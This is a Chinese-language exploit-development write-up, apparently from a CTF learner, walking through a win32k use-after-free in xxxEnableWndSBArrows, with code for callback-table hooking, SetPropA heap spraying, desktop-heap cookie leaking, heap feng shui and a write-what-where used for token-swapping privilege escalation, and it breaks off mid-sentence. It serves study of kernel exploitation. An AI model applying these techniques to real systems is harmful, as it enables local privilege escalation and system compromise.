其实我的个人建议是, 直接保存一个虚拟机镜像, 这样`KASLR`就已经被绕过了. 直接拷出每个函数在这个镜像当中的地址, 然后直接使用,
把后面的做完了再来绕过`KASLR`. 算是一点我个人调试的小`trick`, anyway, 让我们来看一下如何找到内核当中的`ntoskrnl`的镜像.
VOID GetKernelImageBase()
{
[...]
PSYSTEM_MODULE_INFORMATION Modules = {};
Modules= (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, Modules, len, &len);// 需要注意的是SystemModuleInformation的这个常量. 这个参数的功能决定NtQuerySystemInformation的功能.
// 循环遍历 获取kernel imagebase address
for (int i = 0; i<Modules->Count; i++)
if (strstr(Modules->Module[i].ImageName, "ntoskrnl.exe") != 0)
pKernelBase = Modules->Module[i].Base;
}
我的学习是在r00k1ts大大的[这篇文章](https://r00tk1ts.github.io/2018/02/01/%E5%86%85%E6%A0%B8%E5%88%A9%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B9%8B%E4%BB%BB%E6%84%8F%E4%BD%8D%E7%BD%AE%E4%BB%BB%E6%84%8F%E5%86%99/)找到了答案,
获取基地址的思路如下.
[+] 指定一个SystemModuleInformation类,
[+] 调用windows提供的未文档化的NtQuerySystemInformation函数
[+] 获取到一个加载的模块列表以及他们各自的基地址（包括NT内核）
[+] 循环遍历每一个module, 比较其模块名字是否含"ntoskrnl.exe". 如果是, 说明基地址找到.
### 漏洞利用.
哇, 走到这里, 万事OK, 现在我们所欠缺的, 只是如何构造一个`write_what_where`而已. 由于`NCC
Group`的老师已经做了很多的工作. 所以逆向这一部分我其实没有做多少, 主要的工作是因为自己的`poc`触发不了, 然后做了一点点修改.
主要利用的技巧如下:
[+] 借用NCC Group的论文进行理解
[+] 动态调试到关键的数据点, 判断是否正确
## 分析
在某个阳光明媚的下午, 我把这份代码重新分析了一遍. 构造`POC`的过程我们分为以下三步:
[+] 定位漏洞点
[+] 使用xref确定POC触发的函数
[+] 动态调试及静态分析, 使程序流抵达漏洞点
### 定位漏洞点
定位漏洞点这一部分的工作应该是由补丁比较来做的. 由于这是初学的过程, 所以我们直接使用`NCC Group`的结论.
让我们来看看我们的漏洞的代码.
// 部分代码省略掉
// win32k!xxxEnableWndSBArrows()
__int64 __fastcall xxxEnableWndSBArrows(struct tagWND *pwnd, int wsbFlags, int wArrows)
{
[...]
psbInfo = (int *)*((_QWORD *)pwnd + 22);
iwArrows = wArrows;
iWsbFlag = wsbFlags;
pwndWndCopy = pwnd;
[...]
if ( !iWsbFlag || iWsbFlag == 3 ) // 判断其是否为SB_HORZ或者SB_BOTH类型
{
[...]
if ( *((_BYTE *)pwndWndCopy + 40) & 4 )
{
if ( !(*((_BYTE *)pwndWndCopy + 55) & 0x20) && IsVisible(pwndWndCopy) )
xxxDrawScrollBar(v13, v10, 0); // 线段起始地点1
// 这个地方通过回调使程序流回到用户模式
}
[...]
}
if ( !((iWsbFlag - 1) & 0xFFFFFFFD) )
{
*psbInfo = iwArrows ? 4 * iwArrows | *psbInfo : *psbInfo & 0xFFFFFFF3; // 线段结束地址二
// 这里假设psbInfo的结构大小为2
// 运算之后变成0xe
}
[...]
}
这里需要记住(记住的意思是先不用理解, 可以慢慢看下去理解)的信息有:
[+] 漏洞的函数位于win32k, 即win32k!xxxEnableWndSBArrows
[+] xxxDrawScrollBar当中存在一次用户回调, 可以回到user mode
[+] 我们需要利用的是线段结束地址二的操作来完成任意读写
### 用户层触发
用户层触发我们得借用我们可爱的`IDA`的`Xref`功能.
我选用的是`NtUserEnableScrollBar`来进行触发(这个分析是之后做的, 我exp的实现是早期的工作. 所以和原来有一些不同.
不过思路是一样的.). 调用`NtUserEnableScrollBar`函数使用的`system call table`表.
在一点简单的改造之后, 我们很轻松的触发了这个函数.
### 抵达漏洞点
#### NtUserEnableScrollBar
在`NtUserEnableScrollBar`函数当中我们需要抵达`xxxEnableScrollBar`函数我们才能到达漏洞点. 相关的检测如下:
##### @1处
`@1`处我们的`ValidateHwnd`函数主要是为了检测传入的窗口句柄(HWND)是否为正确的句柄类.
所以只要`CreateWindow`返回的句柄即可. 需要注意的是, 该函数返回该`HWND`在内核当中对应的`tagWND`结构体的指针.
##### @2处
`@2`处需要结合下面的图片来看.
有关`fnid`的细节你可以参考[这篇文章](http://mista.nu/blog/?p=6),
在做完`cve-2018-8453`之后我会重新介绍它.
[+] fnid与 NtUserMessageCall 函数关联, 通过该函数可以调用`system calss procedure`.
[+] fnid也可用于衡量一个system class procedure函数是否被成功初始化.
##### @3处
@3同上
很好, 逆向这一部分的工作, 你可以查看我上传的IDB文件观察细节, ncc gourp里面也给了详细的解释. 这里我先给出另外一个函数.
[+] EnableScrollBar(hwndVulA, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH); // 此函数用于触发漏洞函数.
微软给出这个函数的解释如下:
[+] EnableScrollBar函数用于启用或者仅用滚动条的光标
三个参数与漏洞函数的三个参数关系如下.
[+] hwndVulA ==> pwnd对应的漏洞窗口句柄.
==> 微软解释: Handle to a window or a scroll bar control, depending on the value of the wSBflags parameter
[+] SB_CTL | SB_BOTH ==> wsbFlags
==> SB_CTL : 定义此滚动条是一个滚动控件 2
==> SB_BOTH: 启用光标和禁用光标的行为针对垂直滚动条和横向滚动条 3
[+] ESB_DISABLE_BOTH ==> wArrows
==> 把两个滚动条都禁用.
So, 前面讲了这么多和我们的漏洞有什么关系呢, 针对一个滚动条控件窗口, 首先由一个`tagWND`窗口来装载(第一个参数pwndWnd),
期间有一个psbInfo结构体. 如下:
kd> dt win32k!tagWND -b pSBInfo
+0x0b0 pSBInfo : Ptr64 tagSBINFO
psbInfo存储滚动条的相关信息, 定义如下:
kd> dt win32k!tagSBINFO -r
+0x000 WSBflags : Int4B
+0x004 Horz : tagSBDATA
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
+0x014 Vert : tagSBDATA
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
接着, 你可以利用这几个结构体去查看上面的代码, 这里我直接给出结论.
[+] 在xxxDrawScrollBar里面会触发某个函数回调, 用户可以控制这个函数回调. 定义这个函数回调为fakeCallBack
[+] 在fakeCallBack里面, 我们使用DestoryWindow(hwndVulA), 使psbInfo内存块为free态
[+] 使用堆喷技术可以篡改psbInfo的值
[+] 在程序线段二处, 进行了一次异或运算. 假设(请调试验证):
WSBflags 被我们篡改为2
WArraow = 3
==> *psbInfo = iwArrows ? 4 * iwArrows | *psbInfo : *psbInfo & 0xFFFFFFF3;
==> WSBflags = 3 ? 4 * 3 | 2 : ...
= 0xe
[+] 我们最后的目的利用的就是这个0xe, 怎么利用后面解释.
我们看一下过程.
我们得经过上面的这个程序才能实现完整的漏洞触发. 你可以进行逆向看下必须满足什么条件. 这里我给出结论.
[+] 首先scrollbar的窗口是可见的, 设置WM_VISIBLE(这个地方我卡了很久才得出...)
[+] scrollbar的窗口是子窗口. 即WS_CHILD
于是, 相关的源代码当中, 体现这两个细节的是.
[+] CreateWinwodw(,....WS_VISIBLE,....) // 父窗口的创建.
[+] hwndVulA = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | SBS_HORZ | WS_HSCROLL | WS_VSCROLL, 10, 10, 100, 100, hwndPa, HMENU(NULL), NULL, NULL);
// 让其可见.
ShowWindow(hwndVulA, SW_SHOW);
UpdateWindow(hwndVulA);
So, 我们来实现控制回调函数.
### 回调的使用.
回调在我看来, 是内核漏洞发生的本源. 因为如果从`kernel mode`回到`user mode`, 再从user mode回到内核层次,
在用户层次的时候我们拥有着极大的自由. 这样的我们能够做太多事了.
SO: 如何利用回调.
### 利用回调.
我们假设, 在`xxxDrawScrollBar`里面会触发某个函数回调， 代码会去执行回调函数A, 如果我们能够HOOK回调函数A.
使其指向我们自己写的回调函数, 我们就能在此期间做一些坏坏的事. 关键的问题是, 这个回调函数A是谁呢?
### 确定回调函数A.
现在的我看来, 这是一个很简单的问题, 但是当时的我, 花了足够多的时间去解决和思考这个问题.
一开始的时候, 我选用的方法是: 静态阅读`xxxDrawScrollBar`的代码, 看下他当中有哪些回调函数, 确定哪些函数会被调用.
于是我祭出了我的IDA, 就一步一步的点啊之类的. 在经历了漫长的调试分析之后, 我失败了. 因为到后面的时候我的思绪乱了.
于是夜里三点, 躺在寝室的床上, 我开始思考人生, 真的要这样下去么, 一辈子就看着代码点点点度日子… 突然灵光一闪烁,
我意识到这样下去破日子不能这样子过下去. 于是我开始思考我掌握的和回调相关的知识. 定位到了关键性的几个信息.
#### Hook回调函数
首先看一条命令.
kd> dt nt!_PEB @$peb
[...]
+0x058 KernelCallbackTable : 0x00007ff9`2107eb00 Void
[...]
此处指向回调函数指针数组, 类似于这样:
[+] KernelCallbackTable = {0x3333333, 0x444444, 0x5555555};
接着查看回调函数必然经过这里:
kd> u nt!KeUserModeCallback
nt!KeUserModeCallback:
fffff802`00675e10 4c894c2420 mov qword ptr [rsp+20h],r9 ==> 稍后请在这里下断点
fffff802`00675e15 4489442418 mov dword ptr [rsp+18h],r8d
fffff802`00675e1a 4889542410 mov qword ptr [rsp+10h],rdx
fffff802`00675e1f 894c2408 mov dword ptr [rsp+8],ecx
fffff802`00675e23 53 push rbx
fffff802`00675e24 56 push rsi
fffff802`00675e25 57 push rdi
fffff802`00675e26 4154 push r12
该函数的原型如下:
NTSTATUS KeUserModeCallback (
IN ULONG ApiNumber, ==> rcx指向
IN PVOID InputBuffer, ==> 传入的参数
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
);
其中, `APINumber`勾起了我的兴趣
[+] 这里的 ApiNumber 是表示函数指针表（USER32!apfnDispatch）项的索引，在指定的进程中初始化 USER32.dll 期间该表的地址被拷贝到进程环境变量块（PEB.KernelCallbackTable）中。
期间, 我在一个win32k的paper上看到如上定义, 也就是说, 我只要能够确定`rcx`的值, 就能够确定我要hook的回调函数是谁.
首先, 在这两个地方下断点.
kd> u fffff960`0025870e
win32k!xxxEnableWndSBArrows+0x959e2:
fffff960`0025870e e8bda7f6ff call win32k!xxxDrawScrollBar (fffff960`001c2ed0) ==> 这里下
fffff960`00258713 90 nop ==> 这里下
此指令用于查看寄存器的值
r rcx
在地点A和地点B之间会经过`nt!KeUserModeCallback`处, 我们查看rcx, 即可确定会调用哪些回调函数. 就是这么简单.
最后我选取了NCC group推荐的回调函数, 在确定了需要HOOK函数之后, 代码如下.
getHookSaveFunctionAddr proc
mov rax, gs:[60h] ; 指向PEB
mov rax, [rax+ 58h] ; 指向KernelCallbackTable
add rax, 238h ; API number * 8
ret
getHookSaveFunctionAddr endp
OK, 由此我们get到了需要HOOK的函数地址, 所以后面我们只要进行简单的相应的赋值语句就好了.
[...]
ptrHookedAddr = getHookSaveFunctionAddr();
[...]
*(ULONG_PTR *)ptrHookedAddr = (ULONG_PTR)fakedHookFunc;
[...]
Hook完毕, 让我们进行下一步. 在我们自己定义的fakeHookFunc之中, 我们能干些啥.
### fakedHookFunc(自定义回调函数实现UAF)
这一步, 我决定先给出相关的代码实现:
VOID fakedHookFunc(VOID *)
{
CHAR Buf[0x1000];
memset(Buf, 0, sizeof(Buf));
if (hookedFlag == TRUE)
{
if (hookCount == 1)
{
hookedFlag = FALSE;
//PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(hwndVulA, 1); //获取psbInfo对应的内核地址, 调试使用
//__breakcode() //调试使用.
DestroyWindow(hwndVulA); // 释放psbInfo
for(int i = 0; i < hwndCount; i++) // 堆喷, 填充psbInfo
if (sprayWnd_5[i] != NULL)
{
SetPropA(sprayWnd_5[i], (LPCSTR)(0x7), (HANDLE)0xBBBBAAAABBBBAAAA);
SetPropA(sprayWnd_5[i], (LPCSTR)(0x8), (HANDLE)0xBBBBAAAABBBBAAAA);
}
}
hookCount++;
}
_theRalHooedFunc(Buf);
}
首先想说的Hookflag和hookCount, 我们在hook了函数之后, 这个回调函数很有可能被系统的其他部分使用.
但是我们想控制的只是由`xxxDrawScrollBar`触发的时候, 所以我们得确定一下哪一次才是由`xxxDrawScrollBar`触发的.
我设置这两个变量就是为了做这件事.
hookedFlag = TRUE; // 看这
EnableScrollBar(hwndVulA, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH);
这一部分我们保证了我们从进入触发流程之后再计数, 之后我们在调用`xxxDrawScrollBar`下断点,
看一下从`xxxDrawScrollBar`之后进去HOOK是第几次. 是不是有点小小的绕, 让我们来看一下动态的过程.
之后是两处注释, phmValidateHandle函数用于获取hwndVulA的内核地址, 是为了方便我自己调试用的. 至于如何获取的,
你可以查看[这里](https://xiaodaozhi.com/). 接着.
偏移为b0的地方为其psbInfo. 于是我用了下面的语句来查看信息.
dq poi(rax+b0)
如果rax+b0 地址为 0400: 100, 那么这条命令会打印出100处的内容. 在我整个exp开发的过程中,
我频繁的使用这条语句来进行堆风水布局的验证.
接着是DestoryWindow, 这个函数会销毁窗口的相关内容, 但是其句柄因为不会被销毁, 因为其引用计数不能为0. 但是已经够了, 这样之后,
我们的psbinfo处于free状态, 且指针不为0. 于是我们可以通过堆喷射(堆喷射请参考上一篇)来重新填充内容.
如何来通过堆喷来伪造填充我们的psbInfo呢, 先看一下正常状况下的pbInfo. 我dump下来的数据如下:
kd> dq fffff901`40ac5570-10
fffff901`40ac5560 00000000`00000000 0c0055ff`699dfbd6 --> _HEAP_ENTRY
fffff901`40ac5570 00000000`00000003 00000000`00000064 --> 这个地方存放psbInfo的结构
fffff901`40ac5580 00000000`00000000 00000000`00000064
fffff901`40ac5590 00000000`00000000
接着我调用了下面一个`for`循环, 实现了堆喷. 覆盖数据如下所示:
for(int i = 0; i < hwndCount; i++)
if (sprayWnd_5[i] != NULL)
{
SetPropA(sprayWnd_5[i], (LPCSTR)(0x7), (HANDLE)0xBBBBAAAABBBBAAAA);
SetPropA(sprayWnd_5[i], (LPCSTR)(0x8), (HANDLE)0xBBBBAAAABBBBAAAA);
}
// 数据:
kd> dq fffff901`40ac5570-10
fffff901`40ac5560 00000000`00000000 080055ff`699dfbd6
fffff901`40ac5570 00000002`00000002 bbbbaaaa`bbbbaaaa --> 这个地方的2最后会变为0xe. 先不管
fffff901`40ac5580 00000000`00000007 bbbbaaaa`bbbbaaaa
fffff901`40ac5590 00000000`00000008
上面那一小节我们证明了我们的看到了我们的`win32k!tagSBINFO`大小为0x30(加上对齐和_HEAP_ENTRY, 先别在意这两个.),
接着我们来查看一个结构体:
kd> dt win32k!tagPROPLIST -r
+0x000 cEntries : Uint4B
+0x004 iFirstFree : Uint4B
+0x008 aprop : [1] tagPROP
+0x000 hData : Ptr64 Void
+0x008 atomKey : Uint2B
+0x00a fs : Uint2B
调用SetPropA第一次的时候, 首先会在分配一个堆, 存储一个`tagPropLIST`结构体. 第二次调用setPropA的时候,
会继续分配一个`tagPROP`结构体(0x10). 也就刚刚是0x28, 再加上其的`_HEAP_ENTRY`. 刚刚好合适.
接着, 由于刚好是2个, 根据前面的结论. 这个数值会在后面的异或过程中变为0xe. 我们如何来利用`0xe`呢.
恐怕我们就得说一下`tagPropList`了.
#### tagPropListA结构体.
首先来查看SetPropA函数:
BOOL SetPropA(
HWND hWnd,
LPCSTR lpString,
HANDLE hData
);
这个函数对于此次漏洞利用的信息有:
[+] 初次调用的时候会生成一个tagProp结构体
[+] 其后的调用的时候, 如果lpString在以前没有声明过. 那么会添加一个tagPROP结构体(0x10), 所以你才能看到我前面定义的0x7, 和0x8.
这一部分过了之后, 那么我们如何使用这个特性呢. 我们得对前面的结构体加一点点注释.
kd> dt win32k!tagPROPLIST -r
+0x000 cEntries : Uint4B ==> 表面一共有多少个tagPROP ==> 用这个越界读写.
+0x004 iFirstFree : Uint4B ==> 表明当前正在添加第几个tagPROP结构体
+0x008 aprop : [1] tagPROP ==> 一个单项的tagProp
+0x000 hData : Ptr64 Void ==> 对应hData
+0x008 atomKey : Uint2B ==> 对应lpString
+0x00a fs : Uint2B ==> 无法控制, 和内核实现的算法无关.
在漏洞函数执行回`win32k!xxxEnableWndSBArrows()`函数之后, 通过前面的讨论, 内核结构遭到篡改.
内核会误以为一共有0xe个tagProp, 所以我们可以在后面继续调用setProp覆盖后面的数据. 也就是有了一个越界读写的能力. ==>
能写0xe个tagProp
听起来不错, 我们有了破坏内核结构的能力. wait, 如果你仔细的查看tagProp和setPropA的对应关系. 你会发现写原语残缺.
截图如下(图片来源keenjoy95老师).
蓝色高亮的部分就是我们可以控制的内容. 红色高亮部分是无法控制的. 我们在win32k!的利用当中, 常见的思路是去破坏tagWND结构体的某一个值.
然后实现任意地址读写. 但是, 假设我们后面接的是一个`tagWND`结构体, 那么我们进行写操作的时候我们必定会对其中的某些重要值照成破坏.
照成利用失败.
于是NCC gruop安排了一个新的布局(这一部分的布局我自己改了一下). 如下.
kd> dq fffff901`40ac5570-10 l30
fffff901`40ac5570 00000002`00000002 bbbbaaaa`bbbbaaaa ==> 这个地方存储一个tagPROPLIST
fffff901`40ac5580 00000000`00000007 bbbbaaaa`bbbbaaaa
fffff901`40ac5590 00000000`00000008 100055e4`699dfbd6 ==> 这个地方存储一个windows text 注意依据前面逻辑, 后面的100055e4`699dfbd6可以控制
fffff901`40ac55a0 43434343`43434343 43434343`43434343
fffff901`40ac55b0 43434343`43434343 43434343`43434343
fffff901`40ac55c0 00000000`00000000 100055e4`729dfbcd ==> 这个地方存储一个tagWND结构体
fffff901`40ac55d0 00000000`00021476 00000000`00000003
fffff901`40ac55e0 fffff901`407fcb70 ffffe000`02d1e1a0
fffff901`40ac55f0 fffff901`40ac55d0 80000700`60080018
fffff901`40ac5600 04c00000`00000100 00000000`00000000
fffff901`40ac5610 00000000`00000000 fffff901`40835890
fffff901`40ac5620 fffff901`40ac5750 fffff901`40800830
fffff901`40ac5630 00000000`00000000 00000000`00000000
fffff901`40ac5640 00000020`00000020 0000030d`000005c0
fffff901`40ac5650 00000046`00000029 00000304`000005b7
fffff901`40ac5660 00007ff9`229677d0 fffff901`408204c0
fffff901`40ac5670 00000000`00000000 00000000`00000000
fffff901`40ac5680 00000000`00000000 00000000`00000000
fffff901`40ac5690 00000000`00000000 00000000`00000000
fffff901`40ac56a0 00000000`00000000 00000000`00000000
fffff901`40ac56b0 00000000`00000000 00000000`00000000
fffff901`40ac56c0 fffff901`40ac55d0 00000000`001c0271
fffff901`40ac56d0 00000000`00000000 00000000`00000000
下面我们来解释为什么要这样布局. 首先看一个函数.
memset(o4str, '\x43', 0x30 - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o4lstr, (WCHAR*)o4str, (UINT)-1, 0x30 - _HEAP_BLOCK_SIZE - 2);
[...]
NtUserDefSetText(sprayWnd_5[i], &o4lstr); // 注意这个函数
接着查看一下tagWND的一个结构体成员.
kd> dt win32k!tagWND -b strName
+0x0d8 strName : _LARGE_UNICODE_STRING
kd> dt _LARGE_UNICODE_STRING
win32k!_LARGE_UNICODE_STRING
+0x000 Length : Uint4B ==> windows text的长度
+0x004 MaximumLength : Pos 0, 31 Bits ==> 最大长度
+0x004 bAnsi : Pos 31, 1 Bit
+0x008 Buffer : Ptr64 Uint2B ==> 指向字符串的指针
当调用`NtUserDefSetText`函数的时候, 内核当中, 关联的`tagWND`结构体的strName会有相应的改变. buffer存储一个指针,
指向`o4lstr`指向的字符串. 而这一步的关键点在于. 这些字符是分配在一个堆中. 堆含有一个堆头. 如下所示:
kd> dt nt!_HEAP_ENTRY
+0x000 PreviousBlockPrivateData : Ptr64 Void
+0x008 Size : Uint2B ==> 堆的大小
+0x00a Flags : UChar ==> 空闲还是free
+0x00b SmallTagIndex : UChar ==> 用来检测堆是否被覆盖
+0x00c PreviousSize : Uint2B ==> 前一个堆块的大小
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar
+0x008 CompactHeader : Uint8B
+0x000 Reserved : Ptr64 Void
+0x008 FunctionIndex : Uint2B
+0x00a ContextValue : Uint2B
+0x008 InterceptorValue : Uint4B
+0x00c UnusedBytesLength : Uint2B
+0x00e EntryOffset : UChar
+0x00f ExtendedBlockSignature : UChar
+0x000 ReservedForAlignment : Ptr64 Void
+0x008 Code1 : Uint4B
+0x00c Code2 : Uint2B
+0x00e Code3 : UChar
+0x00f Code4 : UChar
+0x008 AgregateCode : Uint8B
你可以去查看写原语残缺的时候dump的内存. 你会发现heap entry的内容是可控的. 里面包含当前堆块的大小等信息. 所以, 现在假设一种状况:
[+] 我们通过SetPropA. 控制了_HEAP_ENRTY
[+] 通过控制_HEAP_ENRTY, 修改了这个_HEAP_ENRTY代表的堆块大小为A(包含后面的tagWND)
[+] 通过DestroyWindow函数, 释放这个堆块
[+] tagWND一并被释放, 照成了新的UAF漏洞
[+] 重新构造一个假的tagWND, 使用这个假的tagWND来进行write_what_where
基于此, 新的问题就产生了
[+] 怎么让堆分配的布局为psbInfo + windows text + tagWND==> 风水布局
[+] _HEAP_ENRTY的内容应该是什么 ==> heap cookie
[+] 构造怎样的tagWND ==> 漏洞如何利用
这是我们后面主要需要讨论的. 所以我们从简单的说起.
### 构造假的`_HEAP_ENTRY`: 泄露`heap cookie`
我在`heap cookie`上花了大量的时间, 因为当时找的资料并不多, 大多数都是堆内部管理的资料. 我想找一个`泄露cookie`的资料,
死活没有找到. 所以最后在通过阅读源码+阅读堆内部管理的理论知识, 解决了这个问题.
首先, 我们假设要伪造的`_HEAP_ENTRY`所关联的堆大小是0x1b0(后面解释为什么为这个值), 堆是以0x10的为一个单位.
前面我们可以看到前面的`_HEAP_ENTRY`结构体偏移0x8处即为size, 那么我们直接把这个值改为0x1b(记住以0x10为单位).
那么是不是就ok了呢.
如果这样做的话， 我们就会被安排的明明白白. windows呢, 很久以前就知道有人想弄它的堆. 所以他就实现了一个Cookie. 来保护它的堆.
保护的过程如下.
heapCode[11] = heapCode[8] ^ heapCode[0] ^ heapCode[10] // 构造smalltagIndex
heapCode ^= cookie(系统每次开机的时候一个随机值);
windows在每次开机的时候, 都会有一个随机的cookie值生成. heapChunk 释放状态的时候.
heapChunk ^= cookie
if(heapCode[11] != heapCode[8] ^ heapCode[9] ^ heapCode[10]) //类似于这种判断
BSOD
所以我们的heapChunk不能乱搞, 我们只单单改大小是过不了堆的检测的. 我们如何构建一个能通过检测的堆. 首先,
假设我们已经获取正确的cookie(此时假设为). 我们dump一下还没有被覆盖的heap
100055e4`699dfbd6
我们进行异或:
偏移0x8处: d6 fb 9d 69 e4 55 00 10(小端序)
算下`Small tagIndex`:
heapCode[11] = heapCookie[8](替换为0x1b) ^ heapCookie[9] ^ heapCookie[10]
OK, 之后:
heapFakeChunk = heapCode[8] ^ cookie就可以了.
这里你可能有一个小小的疑惑, 为什么我要dump解密之后再加密. `_HEAP_ENTRY` 在未与cookie异或之前, 不管你怎么电脑开机,
每次除了smalltagIndex之外, 应该都是一样的(这个地方可能有点问题, 但是这是我调试得出的结论.). 所以你直接dump改变大小,
重新赋值size. 再和cookie进行异或就可以使用了了. 当然, 你也可以选择具体深究`_HEAP_ENTRY`结构体的每一个成员,
算出他们每一个的值.
这一部分我自己的开发过程中. 根本没有管这个cookie. 反正电脑是虚拟机. 那么保存镜像. 每次都是一样的. 那么我只要用调试器获取一个cookie.
然后就可以用了.
我们来讲一下如何用代码来泄露此cookie(这一部分我其实不是独立开发, 用的别人代码调试理解)
BYTE *Addr = (BYTE *)0x1000;
ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
{
if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
{
if (*(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee) // 说明我们找到了桌面堆的映射...
{
if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap)) //绕过这个地方相加等于堆
{
BYTE* cookieAddr = (BYTE*)MemInfo.BaseAddress + 0x80;
// 自己写一个for循环的来实现复制
for (int i = 0; i < 0x10; i++)
{
cookies[i] = cookieAddr[i];
}
return TRUE;
}
}
}
Addr += MemInfo.RegionSize;
}
return FALSE;
这一部分我是如何理解的呢(这个地方我是通过调试器`理解+原理`, 所以可能有误, 因为实在没有找到现成的详细解释的资料, 所以实在抱歉).
我注意到上面有几个常量. 刚好可以和`_HEAP`对应起来.
kd> dt nt!_HEAP d62f960000
[...]
+0x010 SegmentSignature : 0xffeeffee
[...]
+0x080 Encoding : _HEAP_ENTRY
[...]
我dump了几个`_HEAP`的数据, 发现他们的0x10处都为`0xffeeffee`, 所以依据此可以判断此内存块存放`_HEAP`结构.
接着通过下面的这张图:
Desktop heap会有一份堆映射到user space, 也就是我们可以用virtualAlloc可以查询到的, 每一个Desktop
heap在kernel中的地址和映射到内核中的地址是固定的, 如果满足`user space address + offset = kernel space
address`. 说明到了Desktop heap对应的`_HEAP`结构, 接着偏移0x80的地方存放的是我们的`cookie`值.
### 伪造怎样的tagWND: 漏洞如何利用
我们前面讲过, tagWND里会有一个strName, 与NtUserSetText函数关联,
期间strName是一个`nt!_LARGE_UNICODE_STRING`结构体.
kd> dt _LARGE_UNICODE_STRING
win32k!_LARGE_UNICODE_STRING
+0x000 Length : Uint4B ==> windows text的长度
+0x004 MaximumLength : Pos 0, 31 Bits ==> 最大长度
+0x004 bAnsi : Pos 31, 1 Bit
+0x008 Buffer : Ptr64 Uint2B ==> 指向字符串的指针
我们知道我们差的是`write_what_where`:
[+] where: 把这个值写入strName.buffer对应的指针
[+] what: 使用NtUserSetText将what数据写入
这就是我们整体的利用思路, 举个例子, 我们不是要写`nt!halDispatchTagble+0x8`的值为`shellcode`么.
[+] 假设nt!halDispatchTable+0x8的值为0xFFFFFFFFFF
[+] 篡改strName.buffer值为0xFFFFFFFFFF
[+] 把NtUserSetText的第二个参数改为ShellCode Address
ok, 现在我们的剩下的唯一问题就是我们如何把布局变成我们想要的布局.
### fengshui布局
很多时候名字是一个有意思的事, 比如fengshui布局. 光从一个名字我们能得到什么.
[+] 我不是学风水的, 所以在我眼里风水就是指周围环境很适合做某事.
对于这个漏洞利用来说, 什么样的环境是我们需要的呢. 前面我们说过.
[+] 首先漏洞触发窗口的psbinfo
[+] 其次是一个windows text, 以便于我们覆盖它的_HEAP_ENTRY.
[+] 最后放一个tagWND. 利用它的strName.buffer进行任意地址的读写.
所以我们期望的布局图示如下.
我在风水布局上面花了相当长的一段时间. 因为对两个地方理解有误导致.
[+] 存储tagWND最好是0x180
[+] desktop和pool不一样.
如果听不懂就对了. 我们来搞懂他.(这一部分建议看看我的源码, 虽然很丑)
首先. 由前面我们知道.
memset(o1str, '\x40', 0x1e0 - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, 0x1e0 - _HEAP_BLOCK_SIZE - 2);
NtUserDefSetText(sprayWnd_1[i], &o1lstr);
通过上面的代码片段我们分配了0x1e0大小的桌面堆块, `NtUserDefSetText`函数是我进行堆喷射的接口.
通过它我们能够的到任意大小的heap.
于是, 为了实现上面的堆分配. 我一开始分配了0x300个`0x1e0`Desktop heap.
之后为了防止堆块合并, 我进行了隔一个进行free.
free之后, 我通过两次填充, 布局如下:
很好, 我们释放此0x1b0的数据, 接着先填充0x180, 在填充0x30的数据. 在释放0x180之后, 我们申请`tagWND`, 如下:
接着隔一释放我们另外的0x1e0的数据块, 一堆循环重复之后, 我们实现了我们想要的布局.
很抱歉, 这一部分实在讲的不够好. 一个是我实在不会做gif图, 那种彩色图实在是不会做, 如果后面我学会了, 这一部分会重新更新. 另外一部分,
我总感觉绕了很多的弯路, 幸运的是, 他是可靠的.
我依据的原则如下:
[+] tagWND适合0x180, 这一部分通过调试验证来的
[+] 当一个块处于free态, 另外一个分配的内核块会往前面挤
[+] 如果一个块大小为0x30. 那么先分配0x20, 再去分配0x10. 如果不这样做, 很容易0x10+0x10+0x10
[+] Desktop heap 用heap来fengshui, 和pool不一样
[+] NtUserDefSetText ==> 分配任意大小heap的接口函数
[+] DestoryWindow ==> free heap块的接口
在实现了布局之后, 我们的漏洞利用就结束了. 只要构造一个假的`tagWND`, 改变其`strname.buffer`值, 就能够实现我们的任意地址读写.
## 总结
### exp总结
在我学习heap cookie的过程中, 我查阅资料的时候发现, 这是ddctf的第二题… 于是, 我看到出题的keenjoy98师傅说.
[+] 来自 Pangu 的 Slipper 和 360 Vulcan 的 "我叫0day谁找我_" 先后提交了第一道题目的答案，虽然 ExpCode 还需打磨，但两位同学的答案都是合格的。恭喜他们！(不远万里前来欺负在校大学生 :P)
那一瞬间觉得整个人都凉了, 因为我的代码, 何止需要打磨, 简直需要回炉重造. 一开始还是有代码组织的, 后来自从`heap cookie`开始,
每一天想的都是如何实现功能, 根本没有想组织的心情. 所以那是一份相当不堪入目的代码.
另外一个问题是死锁, 如果你观察我的代码, 能看到很多的Sleep函数, 原因来源于, 其实exp的开发很久以前就完工了. 但是有个很奇怪的事,
当我运行在调试某些地方写入`__debugbreak()`的时候, 我在最后运行的时候, 我可以运行`cmd`,
但是去掉这些`__debugbreak()`, 在调试器当中我打印出Token已经被替换了. 但是就是没有cmd产生.
于是我dump了一下此时卡住时候的堆栈. 发现是由于windows的消息卡住了. 于是我花费了三四天的时间在研究如何绕过死锁.
最后实在没有找到方法(因为操作系统实在是太菜了). 有一天, 我想, 既然我那么多个`__debugbreak()`可以抛出`cmd`,
